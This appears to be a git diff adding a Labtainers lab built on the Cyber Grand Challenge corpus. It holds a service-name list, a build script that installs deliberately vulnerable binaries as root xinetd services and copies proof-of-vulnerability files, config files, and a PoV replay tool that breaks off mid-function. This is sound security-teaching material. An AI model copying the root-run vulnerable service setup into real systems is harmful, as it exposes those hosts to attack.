b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/common_names.txt new file mode 100644 index 000000000..650ca5269 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/common_names.txt @@ -0,0 +1,109 @@ +Below is an incomplete mapping of CGC service common names to +the identifiers published on https://www.lungetech.com/cgc-corpus/cfe/ +Not all of the services below were used in CFE, and thus not all are in that corupus. + - CROMU_00046: Hug_Game + - CROMU_00047: FSK_Messaging_Service + - CROMU_00048: Water_Treatment_Facility_Simulator + - CROMU_00051: Lazybox + - CROMU_00054: ECM_TCM_Simulator + - CROMU_00055: Network_File_System + - CROMU_00057: Scrum_Database + - CROMU_00058: PRU + - CROMU_00061: Virtual_Machine + - CROMU_00063: LAN_Simulator + - CROMU_00064: Thermal_Controller_v2 + - CROMU_00065: WhackJack + - CROMU_00066: Personal_Fitness_Manager + - CROMU_00072: Shortest_Path_Tree_Calculator + - CROMU_00073: Corinth + - CROMU_00076: Monster_Game + - CROMU_00077: Network_File_System_v3 + - CROMU_00078: 3D_Image_Toolkit + - CROMU_00079: Query_Calculator + - CROMU_00082: Flash_File_System + - CROMU_00083: Filesystem_Command_Shell + - CROMU_00084: Thermal_Controller_v3 + - CROMU_00087: Recipe_and_Pantry_Manager + - CROMU_00088: FaceMag + - CROMU_00092: Facilities_Access_Control_System + - CROMU_00093: REMATCH_1--Hat_Trick--Morris_Worm + - CROMU_00094: REMATCH_3--Address_Resolution_Service--SQL_Slammer + - CROMU_00095: REMATCH_4--CGCRPC_Server--MS08-067 + - CROMU_00096: REMATCH_5--File_Explorer--LNK_Bug + - CROMU_00097: REMATCH_6--Secure_Server--Heartbleed + - CROMU_00098: REMATCH_2--Mail_Server--Crackaddr + - KPRCA_00062: Multi_User_Calendar + - KPRCA_00064: Secure_Compression + - KPRCA_00065: OTPSim + - KPRCA_00068: Grit + - KPRCA_00069: Barcoder + - KPRCA_00071: Childs_Game + - KPRCA_00073: Pattern_Finder + - KPRCA_00074: vFilter + - KPRCA_00075: Messaging + - KPRCA_00077: Venture_Calculator + - KPRCA_00079: Space_Attackers + - KPRCA_00081: Fortress + - KPRCA_00086: Pac_for_Edges + - KPRCA_00087: XStore + - KPRCA_00088: Sorter + - KPRCA_00091: FailAV + - KPRCA_00093: BIRC + - KPRCA_00094: ShoutCTF + - KPRCA_00097: CML + - KPRCA_00099: Neural_House + - KPRCA_00100: Finicky_File_Folder + - KPRCA_00101: Mount_Filemore + - KPRCA_00102: One_Amp + - KPRCA_00110: LazyCalc + - KPRCA_00111: Blubber + - KPRCA_00112: Gridder + - KPRCA_00119: Azurad + - KPRCA_00120: Terrible_Ticket_Tracker + - NRFIN_00043: String_Info_Calculator + - NRFIN_00044: Checkmate + - NRFIN_00045: Stock_Exchange_Simulator + - NRFIN_00046: CLOUDCOMPUTE + - NRFIN_00049: Matchmaker + - NRFIN_00051: CAT + - NRFIN_00052: Overflow_Parking + - NRFIN_00053: One_Vote + - NRFIN_00054: PTaaS + - NRFIN_00055: COLLIDEOSCOPE + - NRFIN_00056: EternalPass + - NRFIN_00059: Snail_Mail + - NRFIN_00061: Rejistar + - NRFIN_00063: On_Sale + - NRFIN_00064: Dungeon_Master + - NRFIN_00065: Game_Night + - NRFIN_00066: OUTLAW + - NRFIN_00067: Order_Up + - NRFIN_00069: Multi_Arena_Pursuit_Simulator + - NRFIN_00071: SBTP + - NRFIN_00072: A_Game_of_Chance + - YAN01_00015: Ghost_In_The_CGC + - YAN01_00016: Trust_Platform_Module + + - KPRCA_00055: Matrix math calculator + - KPRCA_00056: An interpreter for headscratch language + - KPRCA_00057: Glue, a file archiving system + - KPRCA_00058: Secure authentication service + - KPRCA_00059: Sensor reading software + - KPRCA_00060: Simple printer protocol + - NRFIN_00028: Software to secure ICS infrastructure + - NRFIN_00074: Document rendering engine + - NRFIN_00075: Cereal vending machine + - NRFIN_00076: Ski resort modeler + - NRFIN_00077: Multicast chat server + - NRFIN_00078: Eddy text editor + - NRFIN_00079: Family tree builder + - NRFIN_00080: NOPE tax filing software + - NRFIN_00073: CTTP, a reduced overhead web server + - CROMU_00070: a GPS package tracking service + - CROMU_00071: a flight planning tool + - CADET_00001: Simple Palindrome service + - EAGLE_00004: Tribute to DEFCON CTF (IPC example) + - KPRCA_00001: Gopher-like server + - KPRCA_00003: Image compression + - YAN01_00002: Tennis ball motion calculator + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/cpserver.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/cpserver.py new file mode 100755 index 000000000..7e1023e50 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/cpserver.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python +import os +import shutil +import glob +import stat +def writeService(service, path): + sfile = os.path.join(path, service.lower()) + with open(sfile, 'w') as fh: + fh.write('service %s\n' % service.lower()) + fh.write('{\n') + fh.write(' flags = REUSE\n') + fh.write(' socket_type = stream\n') + fh.write(' wait = no\n') + fh.write(' user = root\n') + fh.write(' server = /usr/sbin/%s\n' % service) + fh.write(' log_on_failure += USERID\n') + fh.write(' log_on_success += USERID\n') + fh.write(' disable = no\n') + fh.write('}') + +def copySource(source, source_dest, challenge): + src = os.path.join(source, challenge,'src') + lib = os.path.join(source, challenge,'lib') + readme = os.path.join(source, challenge,'README.md') + readme_dst = os.path.join(source_dest, challenge,'README.md') + src_dst = os.path.join(source_dest, challenge,'src') + shutil.copytree(src, src_dst) + lib_dst = os.path.join(source_dest, challenge,'lib') + if os.path.isdir(lib): + shutil.copytree(lib, lib_dst) + shutil.copyfile(readme, readme_dst) + + pov_list = glob.glob(os.path.join(source, challenge,'pov_*')) + for pov in pov_list: + cdir = os.path.join(source_dest, challenge, os.path.basename(pov)) + shutil.copytree(pov, cdir) + print('copied %s' % pov) + +def copyPolls(polls, client, challenge): + dst = os.path.join(client, challenge, 'polls') + src = os.path.join(polls,challenge, 'poller', 'for-release') + try: + os.makedirs(dst) + except: + pass + plist = glob.glob(src+'/*.xml') + if len(plist) == 0: + src = os.path.join(polls,challenge, 'poller', 'for-testing') + plist = glob.glob(src+'/*.xml') + + for poll in plist: + dst_poll = os.path.join(dst, os.path.basename(poll)) + shutil.copyfile(poll, dst_poll) + +def copyPovs(build, client, challenge): + src = os.path.join(build, challenge) + plist = glob.glob(src+'/*.pov') + print('client is %s' % client) + dest_dir = os.path.join(client, challenge, 'povs') + try: + os.makedirs(dest_dir) + except: + pass + for pov in plist: + pdst = os.path.join(dest_dir, os.path.basename(pov)) + shutil.copyfile(pov, pdst) + os.chmod(pdst, 0o755) + +multios = '/home/mike/cb-mutios/cb-multios' +build = os.path.join(multios, 'build', 'challenges') +source = os.path.join(multios, 'challenges') +clist = os.listdir(source) +xinet_path = '../server/_system/etc/xinetd.d' +sbin_path = '../server/sys_tar/usr/sbin' +service_path = '../server/_system/etc/services' +shutil.copyfile(service_path+'.orig', service_path) +source_dest = '../server/home_tar/challenges' +try: + shutil.rmtree(source_dest) +except: + pass + +client_challenges = '../client/home_tar/challenges' +service_map = '../client/service.map' +try: + shutil.rmtree(client_challenges) +except: + pass + +polls = os.path.join(multios, 'polls') + +serve_fh = open(service_path, 'a') +service_fh = open(service_map, 'w') +port = 0xbaba + +skip_fh = open('skiplist.txt') +skip_list = [] +for line in skip_fh: + skip_list.append(line.strip()) + print('add <%s> to skiplist' % line.strip()) +for challenge in sorted(clist): + print('<%s>' % challenge) + if challenge in skip_list: + continue + if not os.path.isdir(os.path.join(source, challenge)): + continue + ''' Create the service definition file ''' + writeService(challenge, xinet_path) + ''' copy the executables ''' + sbin = os.path.join(sbin_path, challenge) + c_bin = os.path.join(build, challenge, challenge) + shutil.copyfile(c_bin, sbin) + os.chmod(sbin, 0o755) + + ''' add entry to the services file ''' + serve_fh.write('%s\t%d/tcp\n' % (challenge.lower(), port)) + ''' copy patched version ''' + sbin = os.path.join(sbin_path, challenge+'_patched') + c_bin = os.path.join(build, challenge, challenge+'_patched') + shutil.copyfile(c_bin, sbin) + os.chmod(sbin, 0o755) + + copySource(source, source_dest, challenge) + copyPolls(polls, client_challenges, challenge) + copyPovs(build, client_challenges, challenge) + service_fh.write('%s\t\t%d\n' % (challenge, port)) + port += 1 + +service_fh.close() +serve_fh.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/docker/Dockerfile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/docker/Dockerfile new file mode 100644 index 000000000..893ac4e7f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/docker/Dockerfile @@ -0,0 +1,5 @@ +FROM ioft/i386-ubuntu:xenial +RUN apt-get update && \ + apt-get -y install python python-pip +RUN pip install pyyaml PyCrypto +RUN apt-get -y install python-matplotlib diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/dorun.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/dorun.sh new file mode 100644 index 000000000..6e6c896b7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/dorun.sh @@ -0,0 +1,2 @@ +docker run -it -v /home/mike/mutios/multios:/multios:rw --env LD_LIBRARY_PATH=/cb-multios/build/include/:/cb-multios/build/include/tiny-AES128-C python32 bash + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/setpaths.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/setpaths.sh new file mode 100644 index 000000000..7a096fa5c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/setpaths.sh @@ -0,0 +1 @@ +export LD_LIBRARY_PATH=/cb-multios/build/include/:/cb-multios/build/include/tiny-AES128-C diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/skiplist.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/skiplist.txt new file mode 100644 index 000000000..a795f262c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/skiplist.txt @@ -0,0 +1,17 @@ +A_Game_of_Chance +BIRC +Blubber +KKVS +LAN_Simulator +LulzChat +REDPILL +Shipgame +OUTLAW +OUTLAW_3 +Order_up +Messaging +Order_Up +Pipelined +REMATCH_1--Hat_Trick--Morris_Worm +commerce_webscale +tribute diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libcgc.so b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libcgc.so new file mode 100755 index 000000000..5ae653edb Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libcgc.so differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libpov.so b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libpov.so new file mode 100755 index 000000000..4cfbc54a7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libpov.so differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libtiny-AES128-C.so b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libtiny-AES128-C.so new file mode 100755 index 000000000..966732473 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/lib/libtiny-AES128-C.so differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/sbin/cb-replay b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/sbin/cb-replay new file mode 100755 index 000000000..8d25a5ca3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/sbin/cb-replay @@ -0,0 +1,1444 @@ +#!/usr/bin/env python + +""" +CB POV / Poll communication verification tool + +Copyright (C) 2014 - Brian Caswell + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +This tool allows for deterministic communication to a CGC Challenge Binary +using a communication spec [0] defined in XML. Results are logged in the TAP +format [1]. + +0 - file:///usr/share/cgc-docs/replay.dtd +1 - http://testanything.org/ +""" + +import os +import argparse +import multiprocessing +import signal +import re +import socket +import struct +import time +import zipfile +import defusedxml.ElementTree as ET + + +class RegexMatch(object): + """ Simple wrapper for handling regexes in Throw. + + Attributes: + group: which re group to use when extracting data + regex: The compiled re to be evaluated + + """ + def __init__(self, regex, group=None): + if group is None: + group = 0 + + self.regex = regex + self.group = group + + def match(self, data): + """ + Match the compiled regular expression + + Arguments: + data: Data to match + + Returns: + Result of the re.match call + + Raises + None + """ + + return self.regex.match(data) + + +class _ValueStr(str): + """ Wrapper class, used to specify the string is meant to be a 'key' in the + Throw.values key/value store.""" + pass + + +class TimeoutException(Exception): + """ Exception to be used by Timeout(), to allow catching of timeout + exceptions """ + pass + + +class TestFailure(Exception): + """ Exception to be used by Throw(), to allow catching of test failures """ + pass + + +class Timeout(object): + """ Timeout - A class to use within 'with' for timing out a block via + exceptions and alarm.""" + + def __init__(self, seconds): + self.seconds = seconds + + @staticmethod + def cb_handle_timeout(signum, frame): + """ SIGALRM signal handler callback """ + raise TimeoutException("timed out") + + def __enter__(self): + if self.seconds: + signal.signal(signal.SIGALRM, self.cb_handle_timeout) + signal.alarm(self.seconds) + + def __exit__(self, exit_type, exit_value, traceback): + if self.seconds: + signal.alarm(0) + + +class Throw(object): + """Throw - Perform the interactions with a CB + + This class implements the basic methods to interact with a CB, verifying + the interaction works as expected. + + Usage: + a = Throw((source_ip, source_port), (target_ip, target_port), POV, + timeout, should_debug, negotiate) + a.run() + + Attributes: + source: touple of host and port for the outbound connection + target: touple of host and port for the CB + + count: Number of actions performed + + debug: Is debugging enabled + + failed: Number of actions that did not work as expected + + passed: Number of actions that did worked as expected + + pov: POV, as defined by POV() + + sock: TCP Socket to the CB + + timeout: connection timeout + + values: Variable dictionary + + logs: all of the output from the interactions + + max_send: maxmimum amount of data to send per request + + negotiate: Should the CB negotiation process happen + """ + def __init__(self, source, target, pov, timeout, debug, max_send, negotiate): + self.source = source + self.target = target + self.count = 0 + self.failed = 0 + self.passed = 0 + self.pov = pov + self.debug = debug + self.sock = None + self.timeout = timeout + self.values = {} + self.logs = [] + self.max_send = max_send + self._read_buffer = '' + self.negotiate = negotiate + + def is_ok(self, expected, result, message): + """ Verifies 'expected' is equal to 'result', logging results in TAP + format + + Args: + expected: Expected value + result: Action value + message: String describing the action being evaluated + + Returns: + legnth: If the 'expected' result is a string, returns the length of + the string, otherwise 0 + + Raises: + None + """ + + if isinstance(expected, _ValueStr): + message += ' (expanded from %s)' % repr(expected) + if expected not in self.values: + message += ' value not provided' + self.log_fail(message) + return 0 + expected = self.values[expected] + + if isinstance(expected, str): + if result.startswith(expected): + self.log_ok(message) + return len(expected) + else: + if result == expected: + self.log_ok(message) + return 0 + + if self.debug: + self.log('expected: %s' % repr(expected)) + self.log('result: %s' % repr(result)) + + self.log_fail(message) + return 0 + + def is_not(self, expected, result, message): + """ Verifies 'expected' is not equal to 'result', logging results in + TAP format + + Args: + expected: Expected value + result: Action value + message: String describing the action being evaluated + + Returns: + legnth: If the 'expected' result is a string, returns the length of + the string, otherwise 0 + + Raises: + None + """ + if isinstance(expected, _ValueStr): + message += ' (expanded from %s)' % repr(expected) + if expected not in self.values: + message += ' value not provided' + self.log_fail(message) + return 0 + expected = self.values[expected] + + if isinstance(expected, str): + if not result.startswith(expected): + self.log_ok(message) + return len(expected) + else: + if result != expected: + self.log_ok(message) + return 0 + + if self.debug: + self.log('these are expected to be different:') + self.log('expected: %s' % repr(expected)) + self.log('result: %s' % repr(result)) + self.log_fail(message) + return 0 + + def log_ok(self, message): + """ Log a test that passed in the TAP format + + Args: + message: String describing the action that 'passed' + + Returns: + None + + Raises: + None + """ + self.passed += 1 + self.count += 1 + self.logs.append("ok %d - %s" % (self.count, message)) + + def log_fail(self, message): + """ Log a test that failed in the TAP format + + Args: + message: String describing the action that 'passed' + + Returns: + None + + Raises: + None + """ + self.failed += 1 + self.count += 1 + self.logs.append("not ok %d - %s" % (self.count, message)) + raise TestFailure('failed: %s' % message) + + def log(self, message): + """ Log diagnostic information in the TAP format + + Args: + message: String being logged + + Returns: + None + + Raises: + None + """ + self.logs.append("# %s" % message) + + def sleep(self, value): + """ Sleep a specified amount + + Args: + value: Amount of time to sleep, specified in miliseconds + + Returns: + None + + Raises: + None + """ + time.sleep(value) + self.log_ok("slept %f" % value) + + def declare(self, values): + """ Declare variables for use within the current CB communication + iteration + + Args: + values: Dictionary of key/value pair values to be set + + Returns: + None + + Raises: + None + """ + self.values.update(values) + + set_values = [repr(x) for x in values.keys()] + self.log_ok("set values: %s" % ', '.join(set_values)) + + def _perform_match(self, match, data, invert=False): + """ Validate the data read from the CB is as expected + + Args: + match: Pre-parsed expression to validate the data from the CB + data: Data read from the CB + + Returns: + None + + Raises: + None + """ + offset = 0 + for item in match: + if isinstance(item, str): + if invert: + offset += self.is_not(item, data[offset:], + 'match: not string') + else: + offset += self.is_ok(item, data[offset:], 'match: string') + elif hasattr(item, 'match'): + match = item.match(data[offset:]) + if match: + if invert: + if self.debug: + self.log('pattern: %s' % repr(item.pattern)) + self.log('data: %s' % repr(data[offset:])) + self.log_fail('match: not pcre') + else: + self.log_ok('match: pcre') + offset += match.end() + else: + if invert: + self.log_ok('match: not pcre') + else: + if self.debug: + self.log('pattern: %s' % repr(item.pattern)) + self.log('data: %s' % repr(data[offset:])) + self.log_fail('match: pcre') + else: + raise Exception('unknown match type: %s' % repr(item)) + + def _perform_expr(self, expr, key, data): + """ Extract a value from the value read from the CB using 'slice' or + 'pcre' + + Args: + expr: Pre-parsed expression to extract the value + key: Key to store the value in the instance iteration + data: Data read from the CB + + Returns: + None + + Raises: + None + """ + value = None + + # self.log('PERFORMING EXPR (%s): %s' % (key, repr(expr))) + # self.log('DATA: %s' % repr(data)) + if isinstance(expr, slice): + value = data[expr] + elif isinstance(expr, RegexMatch): + match = expr.match(data) + if match: + try: + value = match.group(expr.group) + except IndexError: + 